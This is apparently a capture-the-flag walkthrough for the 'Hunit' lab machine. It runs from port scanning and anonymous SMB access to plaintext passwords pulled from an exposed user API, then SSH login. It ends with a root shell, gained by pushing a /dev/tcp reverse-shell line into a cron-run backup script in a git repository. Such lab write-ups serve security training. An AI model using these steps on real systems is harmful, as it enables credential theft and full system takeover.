Hunit (Curl api to find users, git privilege escalation)

Nmap

```
PORT     STATE SERVICE    VERSION
8080/tcp open  http-proxy
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Content-Length: 3762
|     Date: Sat, 05 Nov 2022 17:17:11 GMT
|     Connection: close
|     <!DOCTYPE HTML>
|     <!--
|     Minimaxing by HTML5 UP
|     html5up.net | @ajlkn
|     Free for personal and commercial use under the CCA 3.0 license
(html5up.net/license)
|     <html>
|     <head>
|     <title>My Haikus</title>
|     <meta charset="utf-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, user-
scalable=no" />
|     <link rel="stylesheet" href="/css/main.css" />
|     </head>
|     <body>
|     <div id="page-wrapper">
|     <!-- Header -->
|     <div id="header-wrapper">
|     <div class="container">
|     <div class="row">
|     <div class="col-12">
|     <header id="header">
|     <h1><a href="/" id="logo">My Haikus</a></h1>
|     </header>
```

```
|     </div>
|     </div>
|     </div>
|     </div>
|     <div id="main">
|     <div clas
|   HTTPOptions:
|     HTTP/1.1 200
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Sat, 05 Nov 2022 17:17:11 GMT
|     Connection: close
|   RTSPRequest:
|     HTTP/1.1 505
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 465
|     Date: Sat, 05 Nov 2022 17:17:11 GMT
|     <!doctype html><html lang="en"><head><title>HTTP Status 505
|     HTTP Version Not Supported</title><style type="text/css">body {font-
family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-
color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p
{font-size:12px;} a {color:black;} .line {height:1px;background-
color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505
|_    HTTP Version Not Supported</h1></body></html>
|_http-title: My Haikus

PORT      STATE SERVICE     VERSION
12445/tcp open  netbios-ssn Samba smbd 4.6.2
18030/tcp open  http        Apache httpd 2.4.46 ((Unix))
|_http-title: Whack A Mole!
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Unix)
43022/tcp open  ssh         OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
|   3072 7b:fc:37:b4:da:6e:c5:8e:a9:8b:b7:80:f5:cd:09:cb (RSA)
|   256 89:cd:ea:47:25:d9:8f:f8:94:c3:d6:5c:d4:05:ba:d0 (ECDSA)
|_  256 c0:7c:6f:47:7e:94:cc:8b:f8:3d:a0:a6:1f:a9:27:11 (ED25519)
```

Samba enumeration

```
┌──(root㉿kali)-[~/pg/practice/Hunit/CVE-2017-7494]
└─# smbclient -L //192.168.249.125 -p 12445

Password for [WORKGROUP\root]:
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    Commander       Disk      Dademola Files
    IPC$            IPC       IPC Service (Samba 4.13.2)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.249.125 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```

```
──(root㉿kali)-[~/pg/practice/Hunit/CVE-2017-7494]
└─# smbclient //192.168.249.125/Commander -p 12445

Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Nov  6 13:11:27 2020
  ..                                  D        0  Fri Jan 15 12:58:49 2021
  25_tailrec_function.kt              N      479  Fri Nov  6 13:11:16 2020
  30_abstract_class.kt                N      822  Fri Nov  6 13:11:16 2020
  48_lazy_keyword.kt                  N      861  Fri Nov  6 13:11:16 2020
  24_infix_function.kt                N      528  Fri Nov  6 13:11:16 2020
  52_let_scope_function.kt            N      545  Fri Nov  6 13:11:16 2020
  26_class_and_constructor.kt         N      470  Fri Nov  6 13:11:16 2020
  4_variables_data_types.kt           N      493  Fri Nov  6 13:11:16 2020
  40_arrays.kt                        N      469  Fri Nov  6 13:11:16 2020
  44_filter_map_sorting.kt            N      927  Fri Nov  6 13:11:16 2020
  6_kotlin_basics.kt                  N      163  Fri Nov  6 13:11:16 2020
  35_lambdas_higher_order_functions.kt      N     1190  Fri Nov  6 13:11:16 2020
  5_kotlin_basics.kt                  N      263  Fri Nov  6 13:11:16 2020
  43_set_hashset.kt                   N      498  Fri Nov  6 13:11:16 2020
  10_if_expression.kt                 N      372  Fri Nov  6 13:11:16 2020
  13_while_loop.kt                    N      301  Fri Nov  6 13:11:16 2020
  21_named_parameters.kt              N      251  Fri Nov  6 13:11:16 2020
  42_map_hashmap.kt                   N      601  Fri Nov  6 13:11:16 2020
  47_lateinit_keyword.kt              N      568  Fri Nov  6 13:11:16 2020
  41_list.kt                          N      704  Fri Nov  6 13:11:16 2020
  17_functions_basics.kt              N      171  Fri Nov  6 13:11:16 2020
  36_lambdas_example_two.kt           N      556  Fri Nov  6 13:11:16 2020
```

```
  myKotlinInteroperability.kt          N      228  Fri Nov  6 13:11:16 2020
  3_comments.kt                        N      217  Fri Nov  6 13:11:16 2020
  1_hello_world.kt                     N       80  Fri Nov  6 13:11:16 2020
  22_extension_function_one.kt         N      413  Fri Nov  6 13:11:16 2020
  51_also_scope_function.kt            N      882  Fri Nov  6 13:11:16 2020
  50_apply_scope_function.kt           N      663  Fri Nov  6 13:11:16 2020
  18_functions_as_expressions.kt       N      421  Fri Nov  6 13:11:16 2020
  45_predicate.kt                      N      646  Fri Nov  6 13:11:16 2020
  37_lambdas_closures.kt               N      358  Fri Nov  6 13:11:16 2020
  12_for_loop.kt                       N      257  Fri Nov  6 13:11:16 2020
  23_extension_function_two.kt         N      510  Fri Nov  6 13:11:16 2020
  10_default_functions.kt              N      226  Fri Nov  6 13:11:16 2020
  27_inheritance.kt                    N      762  Fri Nov  6 13:11:16 2020
  49_with_scope_function.kt            N      576  Fri Nov  6 13:11:16 2020
  6_Person.kt                          N      116  Fri Nov  6 13:11:16 2020
  46_null_safety.kt                    N     1075  Fri Nov  6 13:11:16 2020
  39_with_apply_functions.kt           N      447  Fri Nov  6 13:11:16 2020
  8_string_interpolation.kt            N      358  Fri Nov  6 13:11:16 2020
  31_interface.kt                      N     1048  Fri Nov  6 13:11:16 2020
  7_data_types.kt                      N      301  Fri Nov  6 13:11:16 2020
  28_overriding_methods_properties.kt      N      524  Fri Nov  6 13:11:16 2020
  2_explore_first_app.kt               N      183  Fri Nov  6 13:11:16 2020
  33_object_declaration.kt             N      795  Fri Nov  6 13:11:16 2020
  53_run_scope_function.kt             N      649  Fri Nov  6 13:11:16 2020
  15_break_keyword.kt                  N      365  Fri Nov  6 13:11:16 2020
  14_do_while.kt                       N      311  Fri Nov  6 13:11:16 2020
  32_data_class.kt                     N      351  Fri Nov  6 13:11:16 2020
  11_when_expression.kt                N      275  Fri Nov  6 13:11:16 2020
  38_it_keyword_lambdas.kt             N      427  Fri Nov  6 13:11:16 2020
  MyJavaFile.java                      N      297  Fri Nov  6 13:11:16 2020
  34_companion_object.kt               N      414  Fri Nov  6 13:11:16 2020
  16_continue_keyword.kt               N      362  Fri Nov  6 13:11:16 2020
  9_ranges.kt                          N      595  Fri Nov  6 13:11:16 2020
  29_inheritance_primary_secondary_constructor.kt      N      595  Fri Nov  6
13:11:16 2020
```

We have a alot of kotlin files but not finding anything of value.

Web enumeration on port 8080

Viewing the page source code on the taste of rain page reveals an api

view-source:http://192.168.249.125:8080/article/the-taste-of-rain

```
<!--
<a href="http://localhost:8080/api/">List all</a>
-->
```

Curling the api

```
┌──(root㉿kali)-[~/pg/practice/Hunit]
└─# curl http://192.168.249.125:8080/api/
[{"string":"/api/","id":13},{"string":"/article/","id":14},
{"string":"/article/?","id":15},{"string":"/user/","id":16},
{"string":"/user/?","id":17}]
```

We find a user password by curling the /user/ dir

```
┌──(root㉿kali)-[~/pg/practice/Hunit]
└─# curl http://192.168.249.125:8080/api/user/
[{"login":"rjackson","password":"yYJcgYqszv4aGQ","firstname":"Richard","lastname":"
Jackson","description":"Editor","id":1},
{"login":"jsanchez","password":"d52cQ1BzyNQycg","firstname":"Jennifer","lastname":"
Sanchez","description":"Editor","id":3},
{"login":"dademola","password":"ExplainSlowQuest110","firstname":"Derik","lastname"
:"Ademola","description":"Admin","id":6},
{"login":"jwinters","password":"KTuGcSW6Zxwd0Q","firstname":"Julie","lastname":"Win
ters","description":"Editor","id":7},
{"login":"jvargas","password":"OuQ96hcgiM5o9w","firstname":"James","lastname":"Varg
as","description":"Editor","id":10}]
```

Since the user `dademola` is listed as an admin, lets try to ssh as this user.

```
▼ 2:
    login:          "dademola"
    password:       "ExplainSlowQuest110"
    firstname:      "Derik"
    lastname:       "Ademola"
    description:    "Admin"
```

```
┌──(root㉿kali)-[~/pg/practice/Hunit]
└─# ssh dademola@192.168.249.125 -p 43022
The authenticity of host '[192.168.249.125]:43022 ([192.168.249.125]:43022)' can't be established.
ED25519 key fingerprint is SHA256:rNaauuAfZyAq+Dhu+VTKM8BGGiU6QTQDleMX0uANTV4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.249.125]:43022' (ED25519) to the list of known hosts.
dademola@192.168.249.125's password:
[dademola@hunit ~]$ whoami
dademola
```

We now have a foothold on the machine.

Priv esc

Interesting note, this is an Arch Linux machine.

```
[dademola@hunit ~]$ cat /proc/version
Linux version 5.9.4-arch1-1 (linux@archlinux) (gcc (GCC) 10.2.0, GNU ld (GNU
Binutils) 2.35.1) #1 SMP PREEMPT Wed, 04 Nov 2020 21:41:09 +0000
[dademola@hunit ~]$ cat /etc/issue
Arch Linux \r (\l)
```

Git server enumeration

We find a git user on the box with ssh keys

```
[dademola@hunit .ssh]$ cat authorized_keys
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC2+L7/MgU/MJ+fYIEXEa1+WA9/qMvFj1kUTBk0dtCODfandxZvNAb
BFY1JWUFjOPqxc+NxZNFzunTxYdv3/zkvT9/3iV9dQgH2m2Kkv0QfFJQPEaug/rQf2MlOPQq563LUb7FLK2
L75COLqHGa5GtDh7lDqUGfzj8JcCdEfoYtgVHLAkRdC0scLC2WFUSo/sdkBYu0MWdZBXt4wX1EI0FVJYFt5
AhNtkNJty2Dk/QffmKg+7rs/KCj1J9JFekE9UEjXd94EgjZXeIv4FDLqx4KPu0eP2k1hkVaOugpUIFmSgt8
uxMdGRcMotEgK9wfDXI5ZR/iwU2deRyUcLGwRTp0kP2TuHCcrUSz5CCVdBJLQk6Y/BN+lGStfV3bsrfWuhA
/9gZVtkkSLey0CZpneJDVxAzLY1DoRKi6k11B5UXLQThymn80PJrOH++3aKtzp9Q36N0W8JZlsg7qmaX4dY
5TdTcDEVNJeZuuMwdqECvEyr8m1TAlq7LDT0Uq3JwQ7fM= root@hunit
[dademola@hunit .ssh]$ ls -la
total 20
drwxr-xr-x 2 git  git  4096 Nov  5  2020 .
drwxr-xr-x 4 git  git  4096 Nov  5  2020 ..
-rwxr-xr-x 1 root root  564 Nov  5  2020 authorized_keys
-rwxr-xr-x 1 root root 2590 Nov  5  2020 id_rsa
-rwxr-xr-x 1 root root  564 Nov  5  2020 id_rsa.pub
```

If we clone the local git server, we can find a backup.sh file. From the linpeas output, we see that there is a cron job running the backup.sh script.

```
[dademola@hunit ~]$ git clone file:///git-server/
Cloning into 'git-server'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.
```

```
[dademola@hunit ~]$ ls -la git-server
total 20
drwxr-xr-x 3 dademola dademola 4096 Nov 10 15:40 .
drwx------ 7 dademola dademola 4096 Nov 10 15:53 ..
```

```
drwxr-xr-x 8 dademola dademola 4096 Nov 10 15:54 .git
-rw-r--r-- 1 dademola dademola    0 Nov 10 15:40 NEW_CHANGE
-rw-r--r-- 1 dademola dademola   63 Nov 10 15:40 README
-rw-r--r-- 1 dademola dademola   60 Nov 10 15:52 backups.sh
```

```
[dademola@hunit git-server]$ cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#
```

This is just a placeholder script that we can try to inject code into.

```
[dademola@hunit logs]$ git config --global user.name "dademola"
[dademola@hunit logs]$ cd ..
[dademola@hunit .git]$ cd ..
[dademola@hunit git-server]$ git config --global user.email "dademola@hunit.(none)"
[dademola@hunit git-server]$  echo "touch /tmp/gitscript-test" >> backups.sh
[dademola@hunit git-server]$ chmod +x backups.sh
[dademola@hunit git-server]$ git add -A
[dademola@hunit git-server]$ git commit -m "pwn"
[master cf53d47] pwn
 1 file changed, 1 insertion(+)
 mode change 100644 => 100755 backups.sh
[dademola@hunit git-server]$  git push origin master
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 362 bytes | 362.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
error: remote unpack failed: unable to create temporary object directory
To file:///git-server/
 ! [remote rejected] master -> master (unpacker error)
error: failed to push some refs to 'file:///git-server/'
[dademola@hunit git-server]$
```

The commit fails since the files are owned by the git user.

If we copy the ssh key over to our machine, we can ssh at the git user without a fully interactive shell.

```
┌──(root㉿kali)-[~/pg/practice/Hunit]
└─# ssh -i id_rsa git@hunit -p 43022
```

```
Last login: Tue Nov  8 02:00:13 2022 from 127.0.0.1
git>
```

We can clone the git server from out machine with ssh

```
┌──(root㉿kali)-[~/pg/practice/Hunit]
└─# GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@hunit:/git-server
Cloning into 'git-server'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.
```

Adding our reverse shell to the backups script

```
┌──(root㉿kali)-[~/pg/practice/Hunit]
└─# cd git-server

┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# git config --global user.name "root"

┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# git config --global user.email "root@kali.(none)"

┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# echo "sh -i >& /dev/tcp/192.168.49.249/8080 0>&1" >> backups.sh

┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#
sh -i >& /dev/tcp/192.168.49.249/8080 0>&1
```

```
┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# chmod +x backups.sh

┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# git add -A
```

```
┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# git commit -m "pwn"
[master 52286dd] pwn
 1 file changed, 1 insertion(+)
 mode change 100644 => 100755 backups.sh
```

Pushing the commit back to the target machine.

```
┌──(root㉿kali)-[~/pg/practice/Hunit/git-server]
└─# GIT_SSH_COMMAND='ssh -i ../id_rsa -p 43022' git push origin master
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 375 bytes | 375.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
To hunit:/git-server
   b50f4e5..52286dd  master -> master
```

The cronjob runs ever 2 to 3 minutes, so wait for a connection back on your listener.

```
┌──(root㉿kali)-[~/pg/practice/Fail/.ssh]
└─# rlwrap nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.49.249] from (UNKNOWN) [192.168.249.125] 46466
sh: cannot set terminal process group (27505): Inappropriate ioctl for device
sh: no job control in this shell
id
id
uid=0(root) gid=0(root) groups=0(root)
sh-5.0#
```